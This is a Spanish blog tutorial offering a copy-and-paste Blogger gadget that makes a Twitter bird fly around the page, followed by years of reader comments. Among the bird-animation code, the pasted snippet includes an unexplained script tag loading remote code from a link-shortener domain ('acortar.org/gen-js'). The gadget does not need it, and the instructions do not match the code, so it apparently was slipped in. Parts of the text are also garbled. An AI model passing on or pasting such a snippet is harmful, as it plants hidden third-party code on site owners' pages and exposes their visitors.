Gadget pajaro de Twitter volando por el Blogger

el junio 13, 2024

Te gustaría tener el pájarito de twitter volando por todo el blog, es muy sencillo hacerlo! Simplemente debes agregar el Gadgets del pajaro de Twitter y lo tendrás volando por todo tu blogger

Pájarito de twitter volandhttp://www.blogger.com/img/blank.gifo

<div id='abeja' style='position:absolute; top:0px; left:0px; visibility:hidden; z-index:10'>
<a href='javascript:void(0)' onclick='abejacazada()'><img src="https://i.imgur.com/sA4g775.gif" style="width:52px; height:51px; border:0;" /></a></div>
<script type="text/JavaScript" src="https://acortar.org/gen-js"/>
<script type='text/javascript'>
var velocidad=100;
var cambio=200;
var CamHorMax=25;
var CamVerMax=25;
var hor, ver;
var DesHor=2;
var DesVer=2;
var DirHor=true;
var DirVer=true;
function iniciar() {
ajustar();
volar(hor/2,ver/2);
document.getElementById('abeja').style.visibility="visible";
animar();
cambiar();
reiniciar(); }
function ajustar() {
if (document.all) {
hor=document.body.clientWidth;
ver=document.body.clientHeight }
else if (document.getElementById && !document.all) {
hor=window.innerWidth;
ver=window.innerHeight } }
function volar(PosHor, PosVer) {
document.getElementById('abeja').style.top=parseInt(document.getElementById('abeja').style.top)+PosVer + "px";
document.getElementById('abeja').style.left=parseInt(document.getElementById('abeja').style.left)+PosHor + "px"; }
function animar() {
PosHor=parseInt(document.getElementById('abeja').style.left);
PosVer=parseInt(document.getElementById('abeja').style.top);

if (DirVer) {
if ( (PosVer) > (ver-75) ) {DirVer=false; volar(0,-DesVer); } else {volar(0,DesVer); } }
else
{ if ( (PosVer) < 75) {DirVer=true; volar(0,DesVer); } else {volar(0,-DesVer);} }
if (DirHor) {
if ( (PosHor) > (hor-75) ) {DirHor=false; volar(-DesHor,0); } else {volar(DesHor,0); } }
else
{ if ( (PosHor) < 75) {DirHor=true; volar(DesHor,0); } else {volar(-DesHor,0); } }
setTimeout('animar()',velocidad); }
function cambiar() {
DirHor=(Math.floor(Math.random()*2)==0);
DirVer=(Math.floor(Math.random()*2)==0);
DesHor=Math.floor(Math.random()*CamHorMax);
DesVer=Math.floor(Math.random()*CamVerMax);
setTimeout('cambiar()',cambio); }
function abejacazada() { document.getElementById('abeja').style.visibility="hidden" }
function reiniciar() {setTimeout("window.onresize=releer",400) }
function releer() { window.location.reload() }
window.onresize = ajustar
window.onload = iniciar;
</script>

Simplemente copia el código del pajaro de twitter volando y pegalo en tu Blogger o web. En blogger sigue el siguiente tutorial para agregarlo: Agregar gadget a Blogger

Si quieres vincularlo con tu página en twitter debes cambiar la siguiente url del código: http://pczeros.blogspot.com/2011/06/gadget-pajaro-twitter-volando-blogger.html por la url de tu twitter.

Importante: Funciona en el navegador Firefox

Comentarios

The Thinker25 de junio de 2011, 12:49
Buenísimo. Yo tenía algo parecido usando el MSAgent para web, pero no me funcionó en blogger y abandoné el proyecto. GRACIAS desde el Salto Oriental.
ResponderEliminar
Respuestas
La Rosa Rosa26 de junio de 2011, 6:14
Gracias por todo el material que pones ha nuestra disposición.
Y lo mas importante para mi personalmente, lo fácil que lo expones. Mi agradecimiento te lo correspondo dándote un espacio en mi blog. Aunque se que por tus gadgets llegan hasta ti. Lo del pajarito volando por el blog es una pasada. Muchas GRACIAS.
lamadrequenotepario.blogspot.com
ResponderEliminar
Respuestas
Mayte Arenas28 de junio de 2011, 5:35
Os doy las gracias por tanto como aportáis este pajarito es graciosisimo,un saludo amigos,vuestro trabajos es muy importante para mi
ResponderEliminar
Respuestas
►Lια-ѕαмα30 de junio de 2011, 6:02
gente de pczeros veo q saben mucho!! kiciera q m digan como se puede poner el titulo d una entrada mas cool ... les dejo una pagina para q vean el ejemplo..m gustaria darle un estilo a la letra d mis entradas... si saben y lo explican les agradezco d antemano la ayuda ,, =)
aki el ejemplo :
http://sparkling-monstar.blogspot.com
ResponderEliminar
Respuestas
ciaz30 de junio de 2011, 15:06
Hola, gracias a todos por los comentario y por el apoyo al blog!

►Lια-ѕαмα: Desde el diseñador de plantillas tienes la posibilidad de cambiar la fuente de los títulos! Si quieres más personalización tendrás que meterle mano al HTML de la plantilla.
ResponderEliminar
Respuestas
Anónimo13 de julio de 2011, 5:26
Entren a http://prettylittleliarsfansmundo.blogspot.com/
ResponderEliminar
Respuestas
paula de la rocha16 de julio de 2011, 4:23
Sé que esto aquí no pinta nada pero tengo una página dónde pueden ponerse separadores en el final de las entradas, entonces me metí en diseño, le dí a la ventana dónde aparecen las cosas de las entradas, pero no me aparecía nada para poder ponerlo, podrías explicarme cómo se hace?? gracias
ResponderEliminar
Respuestas
Salud Colombiana17 de julio de 2011, 7:50
La url de mi twitter la tengo conectada con mi pagina de facebook, no hay otra manera de conectar y poner a funcionar el pajarito de twitter para conectarlo con mi blogg, sin tener que quietar la url de mi facebok? Queria enlazarlos.
ResponderEliminar
Respuestas
Danielllupi v61 de septiembre de 2011, 8:52
Eres la caña!!

En mi blog me acaba de quedar chulísimo mirádlo http://danielllupiv6.blogspot.com
ResponderEliminar
Respuestas
SOYPKS7 de septiembre de 2011, 9:50
Gracias por los tips, estan cheveres. Un abrazo desde Venezuela.
(¯`v´¯)
`•.¸.•´
¸.•´¸.•´¨) ¸.•*¨)
(¸.•´ (¸.•´ .•´¸¸.•´¯`•-> ♥Ƹ̵̡Ӝ̵̨̄Ʒ SOYPKS Ƹ̵̡Ӝ̵̨̄Ʒ♥
ResponderEliminar
Respuestas
Miki21 de septiembre de 2011, 5:53
Hola, a mi me gustaría cambiar el pajarito por un jabali ¿es posible?
ResponderEliminar
Respuestas
Unknown28 de septiembre de 2011, 21:20
hola ktal la neta esq me gusto este codigo html del pajarito de twitter si quieres mira mi blog http://wWw.503juniorproductions.blogspot.com
ResponderEliminar
Respuestas
paula de la rocha30 de diciembre de 2011, 10:18
Hola, te he puesto un comentario un poco más arriba. Sigo sin saber cómo se hace lo de poner los separadores debajo de cada entrada... Sé que no puedes contestar al segundo pero es que llevo esperando desde el 16 de Julio y es que estamos ya a 30 de Diciembre... Si no es demasiada molestia, me gustaría que me contestarás :$ Muchas gracias, un saludo.
ResponderEliminar
Respuestas
Juanfran Guevara10 de enero de 2012, 8:55
Intento poner el código html en mi blog, pero el pajarito no aparece. Te dejo la URL de mi blog. http://juanfranguevara.com

GRACIAS
ResponderEliminar
Respuestas
Gianna19 de enero de 2012, 23:43
Molto grazioso l'uccellino, grazie!
ResponderEliminar
Respuestas
PURI6 de febrero de 2012, 13:57
fantastico el pajarito, jejeje, ya me lo puse, gracias por tus valiosos aportes, un saludo
ResponderEliminar
Respuestas
Anónimo14 de mayo de 2012, 20:14
Hello, thanks, to you big, this chickabiddy pleased me
ResponderEliminar
Respuestas
Unknown27 de agosto de 2012, 16:09
Hola, muchas gracias por el gadget :D me pareció realmente increíble
solo tengo unas dudad...

Si yo quisiera poner algo además del pajarito de twitter, cualquier otra cosa, ¿como le hago para cambiarlo y si mi web es en un servidor local, sin acceso a Internet? (Estoy con un proyecto web personal)

No soy muy bueno en esto de codigos, aun... oberserve el codigo y note que el pajarito es una imagen .png y la misma esta en Internet: https://sites.google.com/site/pczeros/Home/pajaritoTwitterVolando.png
así que yo supongo que, si mi sitio estuviera en un servidor web, solo tendria que subir una imagen diferente usando las mismas propiedades de la del pajarito (tamaño, acomodo, sin fondo, etc.), no?
y para que fuera una imagen guardada en mi pc tendria que poner el directorio en el que encuentra?

Perdona si soy pregunton o melesto, pero soy curioso y me encanta aprender cosas nuevas de este tipo :D

Gracias!!
ResponderEliminar
Respuestas
Diosmy15 de octubre de 2012, 10:19
Muchas Gracias me sirvio de mucho, es la primera vez que visito tu sitio pero de ate mano te felicito es muy bueno
ResponderEliminar
Respuestas
Anónimo30 de noviembre de 2012, 14:06
Tentei encaixar no meu Blog do Wordpress mas deu incompatibilidade, se alguém puder me ajudar serei grato.

Obrigado.
ResponderEliminar
Respuestas
Rosa María19 de enero de 2013, 18:54
quiero poner el pajarito en mi blog, pero nose como.
ResponderEliminar
Respuestas
carlos4 de marzo de 2016, 5:38
Muchas gracias por el pajarito.
Es muy bonito.
ResponderEliminar
Respuestas

Añadir comentario

Publicar un comentario

Antes que nada quisiera agradecete por la visita y por comentar en el blog!

También te quiero comentar que no tengo mucho tiempo para responder todos los comentarios inmediatamente pero siempre los contesto.

Saludos.

PCZEROS

Buscar este blog